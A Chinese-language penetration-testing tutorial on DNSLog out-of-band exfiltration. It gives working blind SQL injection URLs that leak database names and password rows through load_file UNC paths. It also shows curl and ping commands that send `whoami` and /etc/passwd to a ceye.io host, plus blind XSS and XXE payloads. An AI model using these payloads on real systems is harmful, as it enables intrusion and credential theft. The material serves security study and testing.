0x01 原理
NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析
DNS:域名解析服务器
A记录:指定域名对应的IP地址
一句话归纳😪😪:
将需要查询的值和域名拼接起来,向域名发送请求,DNS在解析的时候会留下日志,读取日志便可以获取信息。
- 案例解释
ping `whoami`.test.com //发出请求
ping root.test.com //实际请求
whoami
在命令行中就自动解析了,所以其实是向root.test.com
发出的请求,这时就会被DNS服务器所捕获,我们就能从日志中获取命令执行后的结果了。那到底怎么利用DNSLog进行注入呢?其实只要是能够发出请求的地方都可以用这种方式获取数据。
0x02 DNSLog平台
一、在线平台:http://ceye.io
、http://www.dnslog.cn
二、自己搭建DNSLog服务器:https://github.com/BugScanTeam/DNSLog
三、 BurpSuite collaborator
点击Copy to Clipboard获取一个标识
比如我这里获取到的就是s6z9p5lykbxh0m8wx3vy44qg278xwm.burpcollaborator.net
然后用这个外带就行了
0x03 DNSLog常用场景
- SQL盲注
- 命令执行(无回显)
- XSS(无回显)
- SSRF(无回显)
SQL盲注
以MySQL为例,在MySQL中有个一个load_file函数可以用来读取本地的文件。前提是root权限。
show variables like '%secure%';查看load_file()可以读取的磁盘。
- 当secure_file_priv为空,就可以读取磁盘的目录。
- 当secure_file_priv为E:\,就可以读取E盘的文件。
- 当secure_file_priv为null,load_file就不能加载文件。
⚠️ 注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows——UNC路径。
UNC路径:UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
平常在Widnows中用共享文件的时候就会用到这种网络地址的形式:\\sss.xxx\test\
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
⚠️ 如果查询的数据中出现了非字母数字的特殊字符,需要进行转义,这里用16进制。原因是如果出现如逗号,@符号等特殊符号,不能形成标准的dns域名,无法发出数据。
- 几个例子
直接读取
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.4do468.ceye.io\\abc'))),1,0)%23
hex转码
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.4do468.ceye.io\\abc'))),1,0)%23
取数据
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(concat(username,0x7e,password,0x7e)) from security.users limit 0,1),'.4do468.ceye.io\\abc'))),1,0)%23
命令执行
Windows下
查看计算机名,其他类似
ping %COMPUTERNAME%.xxx.ceye.io
Linux下
查看当前用户和passwd文件,其他类似
curl http://ip.port.xxx.ceye.io/`whoami`
curl http://ip.port.xxoo.ceye.io/`cat /etc/passwd`
XSS
通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:
payload:><img src=http://xss.xxxx.ceye.io/aaa>
SSRF
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/aa">
%remote;]>
<root/>
0x04 总结
- 有些函数的使用具有操作系统的限制。
- DNS查询有长度限制,所以必要的时候需要对查询结果做字符串的切割。
- 避免一些特殊符号的产生,最好的选择就是数据先编码再带出。
- 注意不同数据库的语法是有差异的,特别是在数据库拼接的时候。
- 有些操作是需要较高的权限。
🌈🌈 利用DNSLog攻击的方法,能更加简便、高效的进行渗透测试,并且拥有足够权限,可以直接拿下目标站点。